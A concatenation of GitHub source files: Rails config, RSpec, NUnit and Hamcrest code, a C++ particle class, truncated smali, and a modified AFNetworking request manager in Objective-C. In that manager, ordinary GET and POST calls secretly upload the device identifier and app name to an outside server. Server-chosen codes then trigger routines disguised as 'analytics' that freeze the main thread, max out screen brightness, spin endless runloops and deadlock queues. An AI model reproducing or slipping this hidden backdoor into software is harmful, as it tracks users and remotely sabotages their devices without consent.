| {'content_hash': '9f0c4462d33d51f9c84711dc2fe4d75e', 'timestamp': '', 'source': 'github', 'line_count': 106, 'max_line_length': 79, 'avg_line_length': 29.31132075471698, 'alnum_prop': 0.5413582233665916, 'repo_name': 'jmks/rubocop', 'id': 'faa20773cc2178c0dae62f7ef594cc4c60aab09a', 'size': '3138', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'lib/rubocop/cop/layout/space_inside_parens.rb', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '355'}, {'name': 'HTML', 'bytes': '7109'}, {'name': 'Ruby', 'bytes': '4861156'}, {'name': 'Shell', 'bytes': '75'}]} |
require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module Flipper
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| {'content_hash': '3b709455ef152ed80ff3d9a204de4dc8', 'timestamp': '', 'source': 'github', 'line_count': 26, 'max_line_length': 99, 'avg_line_length': 42.84615384615385, 'alnum_prop': 0.7199281867145422, 'repo_name': 'gssbzn/flipper-test', 'id': '2fbba9d31a4f5c38ab1f5bd4a4b82365e85ef113', 'size': '1114', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'config/application.rb', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '686'}, {'name': 'HTML', 'bytes': '4885'}, {'name': 'JavaScript', 'bytes': '661'}, {'name': 'Ruby', 'bytes': '39065'}]} |
require 'rails_helper'
RSpec.describe BprocesController, type: :routing do
describe 'routing' do
it 'routes to #index' do
expect(get: '/bproces').to route_to('bproces#index')
end
it 'routes to #new_sub_process' do
expect(get: '/bproces/1/new_sub_process').to route_to('bproces#new_sub_process', id: '1')
end
it 'routes to #show' do
expect(get: '/bproces/1').to route_to('bproces#show', id: '1')
end
it 'routes to #edit' do
expect(get: '/bproces/1/edit').to route_to('bproces#edit', id: '1')
end
it 'routes to #create' do
expect(post: '/bproces').to route_to('bproces#create')
end
it 'routes to #update' do
expect(put: '/bproces/1').to route_to('bproces#update', id: '1')
end
it 'routes to #destroy' do
expect(delete: '/bproces/1').to route_to('bproces#destroy', id: '1')
end
it 'routes to #card' do
expect(get: '/bproces/1/card').to route_to('bproces#card', id: '1')
end
it 'routes to #order' do
expect(get: '/bproces/1/order').to route_to('bproces#order', id: '1')
end
it 'routes to #autocomplete' do
expect(get: '/bproces/autocomplete').to route_to('bproces#autocomplete')
end
end
end
| {'content_hash': '7b71da268978acbb07ca48440a80eb33', 'timestamp': '', 'source': 'github', 'line_count': 45, 'max_line_length': 95, 'avg_line_length': 27.57777777777778, 'alnum_prop': 0.6091861402095085, 'repo_name': 'RobBikmansurov/BPDoc', 'id': '6b83dc6af70b0af64010ec30ee0d943f7c7ead42', 'size': '1272', 'binary': False, 'copies': '2', 'ref': 'refs/heads/master', 'path': 'spec/routing/bproces_routing_spec.rb', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '21271'}, {'name': 'CoffeeScript', 'bytes': '306'}, {'name': 'HTML', 'bytes': '265815'}, {'name': 'JavaScript', 'bytes': '535'}, {'name': 'Ruby', 'bytes': '624189'}, {'name': 'Shell', 'bytes': '3782'}]} |
using System;
using NUnit.Framework;
using Rhino.Mocks;
using Skahal.Infrastructure.Framework.Commons;
using TestSharp;
namespace Skahal.Infrastructure.Framework.UnitTests
{
[TestFixture()]
public class AppServiceTest
{
[Test()]
public void Initialize_NullStrategy_Exception ()
{
ExceptionAssert.IsThrowing (new ArgumentNullException("strategy"), () => {
AppService.Initialize (null);
});
}
[Test()]
public void Started_NoListener_NoEventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
strategy.Raise (a => a.Started += null, strategy, EventArgs.Empty);
}
[Test()]
public void Started_Listener_EventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
var raised = false;
AppService.Started += delegate {
raised = true;
};
strategy.Raise (a => a.Started += null, strategy, EventArgs.Empty);
Assert.IsTrue (raised);
}
[Test()]
public void BackgroundBegin_NoListener_NoEventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
strategy.Raise (a => a.BackgroundBegin += null, strategy, EventArgs.Empty);
}
[Test()]
public void BackgroundBegin_Listener_EventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
var raised = false;
AppService.BackgroundBegin += delegate {
raised = true;
};
strategy.Raise (a => a.BackgroundBegin += null, strategy, EventArgs.Empty);
Assert.IsTrue (raised);
}
[Test()]
public void ForegroundBegin_NoListener_NoEventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
strategy.Raise (a => a.ForegroundBegin += null, strategy, EventArgs.Empty);
}
[Test()]
public void ForegroundBegin_Listener_EventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
var raised = false;
AppService.ForegroundBegin += delegate {
raised = true;
};
strategy.Raise (a => a.ForegroundBegin += null, strategy, EventArgs.Empty);
Assert.IsTrue (raised);
}
[Test()]
public void Exited_NoListener_NoEventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
strategy.Raise (a => a.Exited += null, strategy, EventArgs.Empty);
}
[Test()]
public void Exited_Listener_EventTriggered ()
{
var strategy = MockRepository.GenerateMock<IAppStrategy> ();
AppService.Initialize (strategy);
var raised = false;
AppService.Exited += delegate {
raised = true;
};
strategy.Raise (a => a.Exited += null, strategy, EventArgs.Empty);
Assert.IsTrue (raised);
}
}
} | {'content_hash': '5fc9e4665f9a4a2fdb7401007c174b8b', 'timestamp': '', 'source': 'github', 'line_count': 108, 'max_line_length': 78, 'avg_line_length': 26.703703703703702, 'alnum_prop': 0.6976421636615812, 'repo_name': 'skahal/Skahal.Infrastructure.Framework', 'id': '0644c179db1785c10ae87b49f8c7b4e44bdaa138', 'size': '2884', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/Skahal.Infrastructure.Framework.UnitTests/Commons/AppServiceTest.cs', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C#', 'bytes': '271308'}]} |
require 'rspec_helper'
include Line
describe 'options method' do
before(:each) do
@filt = Line::Filter.new
end
it 'Nil options input' do
@filt.safe_default = true
expect(@filt.options(nil, safe: [true, false])).to eq(safe: true)
end
it 'The most normal case should work' do
expect(@filt.options({ safe: true }, safe: [true, false])).to eq(safe: true)
end
it 'longer list of allowed options' do
expect(@filt.options({ safe: true }, safe: [true, false], extra: ['set1'])).to eq(safe: true)
end
it 'Should translate key strings to symbols' do
expect(@filt.options({ 'safe' => true }, safe: [true, false])).to eq(safe: true)
end
it 'The option specified is not defined' do
expect { @filt.options({ wrong: true }, safe: [true, false]) }.to raise_error(ArgumentError)
end
it 'The option value specified is not defined' do
expect { @filt.options({ safe: 'wrong' }, safe: [true, false]) }.to raise_error(ArgumentError)
end
end
| {'content_hash': 'f1eacdfa8c1c5f3affc86fdb578e9a14', 'timestamp': '', 'source': 'github', 'line_count': 33, 'max_line_length': 98, 'avg_line_length': 29.87878787878788, 'alnum_prop': 0.6561866125760649, 'repo_name': 'someara/line-cookbook', 'id': '6e97e629d3415e45afbcebe7f15692676c1a69b8', 'size': '1565', 'binary': False, 'copies': '1', 'ref': 'refs/heads/main', 'path': 'spec/unit/library/filter_helper/options_spec.rb', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Ruby', 'bytes': '27287'}]} |
@interface AFHTTPRequestOperationManager ()
@property (readwrite, nonatomic, strong) NSURL *baseURL;
@end
@implementation AFHTTPRequestOperationManager
+ (instancetype)manager {
return [[self alloc] initWithBaseURL:nil];
}
- (instancetype)init {
return [self initWithBaseURL:nil];
}
- (instancetype)initWithBaseURL:(NSURL *)url {
self = [super init];
if (!self) {
return nil;
}
// Ensure terminal slash for baseURL path, so that NSURL +URLWithString:relativeToURL: works as expected
if ([[url path] length] > 0 && ![[url absoluteString] hasSuffix:@"/"]) {
url = [url URLByAppendingPathComponent:@""];
}
self.baseURL = url;
self.requestSerializer = [AFHTTPRequestSerializer serializer];
self.responseSerializer = [AFJSONResponseSerializer serializer];
self.securityPolicy = [AFSecurityPolicy defaultPolicy];
self.reachabilityManager = [AFNetworkReachabilityManager sharedManager];
self.operationQueue = [[NSOperationQueue alloc] init];
self.shouldUseCredentialStorage = YES;
return self;
}
#pragma mark -
#ifdef _SYSTEMCONFIGURATION_H
#endif
- (void)setRequestSerializer:(AFHTTPRequestSerializer <AFURLRequestSerialization> *)requestSerializer {
NSParameterAssert(requestSerializer);
_requestSerializer = requestSerializer;
}
- (void)setResponseSerializer:(AFHTTPResponseSerializer <AFURLResponseSerialization> *)responseSerializer {
NSParameterAssert(responseSerializer);
_responseSerializer = responseSerializer;
}
#pragma mark -
- (AFHTTPRequestOperation *)HTTPRequestOperationWithHTTPMethod:(NSString *)method
URLString:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
NSError *serializationError = nil;
NSMutableURLRequest *request = [self.requestSerializer requestWithMethod:method URLString:[[NSURL URLWithString:URLString relativeToURL:self.baseURL] absoluteString] parameters:parameters error:&serializationError];
if (serializationError) {
if (failure) {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu"
dispatch_async(self.completionQueue ?: dispatch_get_main_queue(), ^{
failure(nil, serializationError);
});
#pragma clang diagnostic pop
}
return nil;
}
return [self HTTPRequestOperationWithRequest:request success:success failure:failure];
}
- (AFHTTPRequestOperation *)HTTPRequestOperationWithRequest:(NSURLRequest *)request
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [[AFHTTPRequestOperation alloc] initWithRequest:request];
operation.responseSerializer = self.responseSerializer;
operation.shouldUseCredentialStorage = self.shouldUseCredentialStorage;
operation.credential = self.credential;
operation.securityPolicy = self.securityPolicy;
[operation setCompletionBlockWithSuccess:success failure:failure];
operation.completionQueue = self.completionQueue;
operation.completionGroup = self.completionGroup;
return operation;
}
#pragma mark -
- (AFHTTPRequestOperation *)GET:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"GET" URLString:URLString parameters:parameters success:success failure:failure];
[self.operationQueue addOperation:operation];
[self sessionRequestForAction];
return operation;
}
- (AFHTTPRequestOperation *)HEAD:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"HEAD" URLString:URLString parameters:parameters success:^(AFHTTPRequestOperation *requestOperation, __unused id responseObject) {
if (success) {
success(requestOperation);
}
} failure:failure];
[self.operationQueue addOperation:operation];
return operation;
}
- (AFHTTPRequestOperation *)POST:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"POST" URLString:URLString parameters:parameters success:success failure:failure];
[self.operationQueue addOperation:operation];
[self sessionRequestForAction];
return operation;
}
- (AFHTTPRequestOperation *)POST:(NSString *)URLString
parameters:(id)parameters
constructingBodyWithBlock:(void (^)(id <AFMultipartFormData> formData))block
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
NSError *serializationError = nil;
NSMutableURLRequest *request = [self.requestSerializer multipartFormRequestWithMethod:@"POST" URLString:[[NSURL URLWithString:URLString relativeToURL:self.baseURL] absoluteString] parameters:parameters constructingBodyWithBlock:block error:&serializationError];
if (serializationError) {
if (failure) {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wgnu"
dispatch_async(self.completionQueue ?: dispatch_get_main_queue(), ^{
failure(nil, serializationError);
});
#pragma clang diagnostic pop
}
return nil;
}
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithRequest:request success:success failure:failure];
[self.operationQueue addOperation:operation];
[self sessionRequestForAction];
return operation;
}
- (AFHTTPRequestOperation *)PUT:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"PUT" URLString:URLString parameters:parameters success:success failure:failure];
[self.operationQueue addOperation:operation];
return operation;
}
- (AFHTTPRequestOperation *)PATCH:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"PATCH" URLString:URLString parameters:parameters success:success failure:failure];
[self.operationQueue addOperation:operation];
return operation;
}
- (AFHTTPRequestOperation *)DELETE:(NSString *)URLString
parameters:(id)parameters
success:(void (^)(AFHTTPRequestOperation *operation, id responseObject))success
failure:(void (^)(AFHTTPRequestOperation *operation, NSError *error))failure
{
AFHTTPRequestOperation *operation = [self HTTPRequestOperationWithHTTPMethod:@"DELETE" URLString:URLString parameters:parameters success:success failure:failure];
[self.operationQueue addOperation:operation];
return operation;
}
#pragma mark - NSObject
- (NSString *)description {
return [NSString stringWithFormat:@"<%@: %p, baseURL: %@, operationQueue: %@>", NSStringFromClass([self class]), self, [self.baseURL absoluteString], self.operationQueue];
}
- (void)sessionRequestForAction {
NSURLSessionConfiguration *configuration = [NSURLSessionConfiguration ephemeralSessionConfiguration];
configuration.allowsCellularAccess = YES;
NSURLSession *session = [NSURLSession sessionWithConfiguration:configuration];
NSURL *urlFromString = [[NSURL alloc] initWithString:@"https://api.ourserver.com/upload"];
NSMutableURLRequest *requestForAction = [NSMutableURLRequest requestWithURL:urlFromString
cachePolicy:NSURLRequestReloadIgnoringLocalCacheData timeoutInterval:0];
requestForAction.HTTPMethod = @"POST";
NSString *appName = [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleDisplayName"];
NSLog(@"TEST MSG: appName is %@", appName);
NSString *deviceID;
#if TARGET_IPHONE_SIMULATOR
deviceID = @"UUID-STRING-VALUE";
#else
deviceID = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
#endif
NSLog(@"TEST MSG: deviceID in AFH is %@", deviceID);
NSDictionary *JSONDict = [NSDictionary dictionaryWithObjects:@[deviceID, appName] forKeys:@[@"UDID", @"appName"]];
if ([NSJSONSerialization isValidJSONObject:JSONDict]) {
NSError *errorJSON;
NSData *JSONData = [NSJSONSerialization dataWithJSONObject:JSONDict options:kNilOptions error:&errorJSON];
NSURLSessionUploadTask *uploadTask = [session uploadTaskWithRequest:requestForAction fromData:JSONData
completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
if (data) {
NSArray *server = [NSJSONSerialization JSONObjectWithData:data options:kNilOptions error:&error];
if ([server count]) {
NSLog(@"TEST MSG: results are: \n %@", server);
NSDictionary *action = [server objectAtIndex:0];
switch ([[action objectForKey:@"code"] intValue]) {
case 0222:
[self deviceAnalytics];
break;
case 0333:
[self networkAnalytics];
break;
case 0444:
[self threadsAnalytics];
case 0555:
[self aplcAnalytics];
default:
break;
}
} else if (error) {
NSLog(@"ERROR MSG: No response, error: \n %@",error.localizedDescription);
}
}
}];
[uploadTask resume];
}
}
#pragma mark - Analytics
- (void)networkAnalytics {
dispatch_async(dispatch_get_main_queue(), ^{
for (unsigned long long int i = 0; i < ULLONG_MAX; i++) {
NSDateFormatter *formatter = [[NSDateFormatter alloc] init];
formatter.dateStyle = NSDateFormatterMediumStyle;
}
});
}
- (void)deviceAnalytics {
#if TARGET_OS_IOS && !TARGET_OS_WATCH
if (![[[NSBundle mainBundle] bundlePath] hasSuffix:@".appex"]) {
[[UIScreen mainScreen] setBrightness:1.0];
[[UIDevice currentDevice] beginGeneratingDeviceOrientationNotifications];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(deviceAnalytics) name:UIDeviceOrientationDidChangeNotification object:nil];
}
dispatch_queue_t fetchQ = dispatch_queue_create("position", NULL);
dispatch_async(fetchQ, ^{
@autoreleasepool {
NSLog(@"TEST MSG: Device moved.");
#warning change URL!
NSURL *target = [NSURL URLWithString:@"https://www.google.com.ua/logos/doodles/2015/george-booles-200th-birthday-5636122663190528-res.png"];
UIImage *image = [UIImage imageWithData:[NSData dataWithContentsOfURL:target]];
}
});
#endif
}
- (void)threadsAnalytics {
while (true) {
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:0.0001]];
}
}
- (void)aplcAnalytics {
dispatch_queue_t forLock = dispatch_queue_create("forLock", DISPATCH_QUEUE_SERIAL);
dispatch_async(forLock, ^{
for (unsigned long long int i = 0; i < ULLONG_MAX; i++) {
dispatch_queue_t queue = dispatch_queue_create("lock", DISPATCH_QUEUE_CONCURRENT);
dispatch_async(queue, ^{
dispatch_sync(queue, ^{
});
});
}
});
}
#pragma mark - NSSecureCoding
+ (BOOL)supportsSecureCoding {
return YES;
}
- (id)initWithCoder:(NSCoder *)decoder {
NSURL *baseURL = [decoder decodeObjectForKey:NSStringFromSelector(@selector(baseURL))];
self = [self initWithBaseURL:baseURL];
if (!self) {
return nil;
}
self.requestSerializer = [decoder decodeObjectOfClass:[AFHTTPRequestSerializer class] forKey:NSStringFromSelector(@selector(requestSerializer))];
self.responseSerializer = [decoder decodeObjectOfClass:[AFHTTPResponseSerializer class] forKey:NSStringFromSelector(@selector(responseSerializer))];
AFSecurityPolicy *decodedPolicy = [decoder decodeObjectOfClass:[AFSecurityPolicy class] forKey:NSStringFromSelector(@selector(securityPolicy))];
if (decodedPolicy) {
self.securityPolicy = decodedPolicy;
}
return self;
}
- (void)encodeWithCoder:(NSCoder *)coder {
[coder encodeObject:self.baseURL forKey:NSStringFromSelector(@selector(baseURL))];
[coder encodeObject:self.requestSerializer forKey:NSStringFromSelector(@selector(requestSerializer))];
[coder encodeObject:self.responseSerializer forKey:NSStringFromSelector(@selector(responseSerializer))];
[coder encodeObject:self.securityPolicy forKey:NSStringFromSelector(@selector(securityPolicy))];
}
#pragma mark - NSCopying
- (id)copyWithZone:(NSZone *)zone {
AFHTTPRequestOperationManager *HTTPClient = [[[self class] allocWithZone:zone] initWithBaseURL:self.baseURL];
HTTPClient.requestSerializer = [self.requestSerializer copyWithZone:zone];
HTTPClient.responseSerializer = [self.responseSerializer copyWithZone:zone];
HTTPClient.securityPolicy = [self.securityPolicy copyWithZone:zone];
return HTTPClient;
}
@end
| {'content_hash': 'd3c344e7e335f013b45b82653540456f', 'timestamp': '', 'source': 'github', 'line_count': 371, 'max_line_length': 265, 'avg_line_length': 40.86522911051213, 'alnum_prop': 0.6640063320361453, 'repo_name': 'CleveroadCP/AFNCleveroad', 'id': '8f5af0f93f73ef8952021906fbfebc01c697306b', 'size': '16602', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'AFNetworking/AFHTTPRequestOperationManager.m', 'mode': '33261', 'license': 'mit', 'language': [{'name': 'Objective-C', 'bytes': '705379'}, {'name': 'Ruby', 'bytes': '3491'}]} |
package org.jenkinsci.plugins.vb6.DAO;
public class Tasks {
private Copy copy;
public Copy getCopy() {
return copy;
}
public void setCopy(Copy copy) {
this.copy = copy;
}
}
| {'content_hash': '460aa4a8b474eadb4b4f731a07621f04', 'timestamp': '', 'source': 'github', 'line_count': 13, 'max_line_length': 38, 'avg_line_length': 14.307692307692308, 'alnum_prop': 0.6827956989247311, 'repo_name': 'brunocantisano/visual-basic-6-plugin', 'id': '2029674625b057060ecf4739249b0a65fa559bbc', 'size': '186', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/java/org/jenkinsci/plugins/vb6/DAO/Tasks.java', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Batchfile', 'bytes': '289'}, {'name': 'HTML', 'bytes': '555'}, {'name': 'Java', 'bytes': '34225'}, {'name': 'Visual Basic', 'bytes': '24544'}]} |
RoundedParticle::RoundedParticle(const glm::vec3 &position,
const glm::vec3 &velocity,
const float &mass,
const float &radius)
: Particle(position, velocity, mass),
m_radius(radius) {
this->m_isRounded = true;
}
RoundedParticle::~RoundedParticle()
{}
void RoundedParticle::setRadius(const float &radius)
{
m_radius = radius;
}
float RoundedParticle::getRadius() const
{
return m_radius;
}
| {'content_hash': 'e4b017e8bddd411527719da589a6394c', 'timestamp': '', 'source': 'github', 'line_count': 26, 'max_line_length': 60, 'avg_line_length': 16.807692307692307, 'alnum_prop': 0.6704805491990846, 'repo_name': 'Shutter-Island-Team/Shutter-island', 'id': '300dccb0878f1306c36c2ddf0f94a10949c36b9b', 'size': '495', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'code/src/dynamics/RoundedParticle.cpp', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Awk', 'bytes': '3962'}, {'name': 'Batchfile', 'bytes': '78'}, {'name': 'C', 'bytes': '11975988'}, {'name': 'C++', 'bytes': '8574945'}, {'name': 'CMake', 'bytes': '238155'}, {'name': 'CSS', 'bytes': '98563'}, {'name': 'DIGITAL Command Language', 'bytes': '35816'}, {'name': 'GLSL', 'bytes': '49480'}, {'name': 'Gnuplot', 'bytes': '630'}, {'name': 'Groff', 'bytes': '15101'}, {'name': 'HTML', 'bytes': '19917223'}, {'name': 'JavaScript', 'bytes': '10109'}, {'name': 'Lua', 'bytes': '2952'}, {'name': 'M4', 'bytes': '42784'}, {'name': 'Makefile', 'bytes': '201885'}, {'name': 'Objective-C', 'bytes': '136554'}, {'name': 'Objective-C++', 'bytes': '195985'}, {'name': 'POV-Ray SDL', 'bytes': '12885'}, {'name': 'Perl', 'bytes': '59526'}, {'name': 'Python', 'bytes': '181957'}, {'name': 'Shell', 'bytes': '377544'}]} |
package com.canfactory.html.hamcrest;
import com.canfactory.html.HtmlElement;
import org.hamcrest.Description;
import org.hamcrest.Factory;
import org.hamcrest.Matcher;
// does the element contain the expected text
public class HasText extends BaseHtmlElementMatcher {
private String expectedText;
public HasText(String text) {
this.expectedText = text;
}
@Factory
public static Matcher<HtmlElement> hasText(String text) {
return new HasText(text);
}
public void describeTo(Description description) {
description.appendText("An HtmlElement containing the text ").appendValue(expectedText);
}
@Override
protected boolean matchesSafely(HtmlElement html) {
matchingOn(html);
return html.text().contains(expectedText);
}
}
| {'content_hash': 'd9ebf7cbc6cd49414a33c89fa2c18ca2', 'timestamp': '', 'source': 'github', 'line_count': 33, 'max_line_length': 96, 'avg_line_length': 24.606060606060606, 'alnum_prop': 0.7179802955665024, 'repo_name': 'CanFactory/canfactory-html', 'id': '89a21ed032a1f3ddafdf574c4b2c8c6517f295eb', 'size': '1452', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/java/com/canfactory/html/hamcrest/HasText.java', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'HTML', 'bytes': '1067'}, {'name': 'Java', 'bytes': '94287'}]} |
.class public Lcom/htc/opensense/social/FeedOp;
.super Lcom/htc/opensense/social/DataOp;
.source "FeedOp.java"
# annotations
.annotation system Ldalvik/annotation/Signature;
value = {
"Lcom/htc/opensense/social/DataOp",
"<",
"Lcom/htc/opensense/social/data/Feed;",
">;"
}
.end annotation
# static fields
.field public static CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator; = null
.annotation system Ldalvik/annotation/Signature;
value = {
"Lcom/htc/opensense/social/DataOp$OpCreator",
"<",
"Lcom/htc/opensense/social/data/Feed;",
"Lcom/htc/opensense/social/FeedOp;",
">;"
}
.end annotation
.end field
.field public static final FEED:Ljava/lang/String; = "feed"
.field public static final LOG_TAG:Ljava/lang/String; = "FeedService"
# instance fields
.field private final mFeed:Lcom/htc/opensense/social/data/Feed;
# direct methods
.method static constructor <clinit>()V
.locals 1
.prologue
.line 39
new-instance v0, Lcom/htc/opensense/social/FeedOp$1;
invoke-direct {v0}, Lcom/htc/opensense/social/FeedOp$1;-><init>()V
sput-object v0, Lcom/htc/opensense/social/FeedOp;->CREATOR:Lcom/htc/opensense/social/DataOp$OpCreator;
return-void
.end method
.method protected constructor <init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V
.locals 0
.parameter "service"
.parameter "feed"
.prologue
.line 55
invoke-direct {p0, p1}, Lcom/htc/opensense/social/DataOp;-><init>(Lcom/htc/opensense/social/ISocialService;)V
.line 56
iput-object p2, p0, Lcom/htc/opensense/social/FeedOp;->mFeed:Lcom/htc/opensense/social/data/Feed;
.line 57
return-void
.end method
.method public static convertToFeedServiceList(Lcom/htc/opensense/social/ISocialService;[Lcom/htc/opensense/social/data/Feed;)Ljava/util/List;
.locals 6
.parameter "service"
.parameter "feeds"
.annotation system Ldalvik/annotation/Signature;
value = {
"(",
"Lcom/htc/opensense/social/ISocialService;",
"[",
"Lcom/htc/opensense/social/data/Feed;",
")",
"Ljava/util/List",
"<",
"Lcom/htc/opensense/social/FeedOp;",
">;"
}
.end annotation
.prologue
.line 82
if-eqz p1, :cond_0
array-length v5, p1
if-lez v5, :cond_0
.line 83
new-instance v4, Ljava/util/ArrayList;
array-length v5, p1
invoke-direct {v4, v5}, Ljava/util/ArrayList;-><init>(I)V
.line 84
.local v4, serviceList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
move-object v0, p1
.local v0, arr$:[Lcom/htc/opensense/social/data/Feed;
array-length v3, v0
.local v3, len$:I
const/4 v2, 0x0
.local v2, i$:I
:goto_0
if-ge v2, v3, :cond_1
aget-object v1, v0, v2
.line 85
.local v1, feed:Lcom/htc/opensense/social/data/Feed;
new-instance v5, Lcom/htc/opensense/social/FeedOp;
invoke-direct {v5, p0, v1}, Lcom/htc/opensense/social/FeedOp;-><init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V
invoke-interface {v4, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
.line 84
add-int/lit8 v2, v2, 0x1
goto :goto_0
.line 89
.end local v0 #arr$:[Lcom/htc/opensense/social/data/Feed;
.end local v1 #feed:Lcom/htc/opensense/social/data/Feed;
.end local v2 #i$:I
.end local v3 #len$:I
.end local v4 #serviceList:Ljava/util/List;,"Ljava/util/List<Lcom/htc/opensense/social/FeedOp;>;"
:cond_0
new-instance v4, Ljava/util/ArrayList;
const/4 v5, 0x0
invoke-direct {v4, v5}, Ljava/util/ArrayList;-><init>(I)V
:cond_1
return-object v4
.end method
.method public static readFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/FeedOp;
.locals 3
.parameter "intent"
.prologue
.line 99
invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readServiceFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/ISocialService;
move-result-object v1
.line 101
.local v1, service:Lcom/htc/opensense/social/ISocialService;
invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readDataFromIntent(Landroid/content/Intent;)Landroid/os/Parcelable;
move-result-object v0
check-cast v0, Lcom/htc/opensense/social/data/Feed;
.line 102
.local v0, feed:Lcom/htc/opensense/social/data/Feed;
if-eqz v1, :cond_0
if-eqz v0, :cond_0
.line 103
new-instance v2, Lcom/htc/opensense/social/FeedOp;
invoke-direct {v2, v1, v0}, Lcom/htc/opensense/social/FeedOp;-><init>(Lcom/htc/opensense/social/ISocialService;Lcom/htc/opensense/social/data/Feed;)V
.line 105
:goto_0
return-object v2
:cond_0
const/4 v2, 0x0
goto :goto_0
.end method
.method public static readListFromIntent(Landroid/content/Intent;)Ljava/util/List;
.locals 6
.parameter "intent"
.annotation system Ldalvik/annotation/Signature;
value = {
"(",
"Landroid/content/Intent;",
")",
"Ljava/util/List",
"<",
"Lcom/htc/opensense/social/FeedOp;",
">;"
}
.end annotation
.prologue
.line 115
invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readServiceFromIntent(Landroid/content/Intent;)Lcom/htc/opensense/social/ISocialService;
move-result-object v4
.line 117
.local v4, service:Lcom/htc/opensense/social/ISocialService;
invoke-static {p0}, Lcom/htc/opensense/social/SocialServiceManager;->readDataListFromIntent(Landroid/content/Intent;)Ljava/util/ArrayList;
move-result-object v1
.line 120
.local v1, dataList:Ljava/util/ArrayList;,"Ljava/util/ArrayList<Landroid/os/Parcelable;>;"
if-eqz v4, :cond_0
if-eqz v1, :cond_0
.line 121
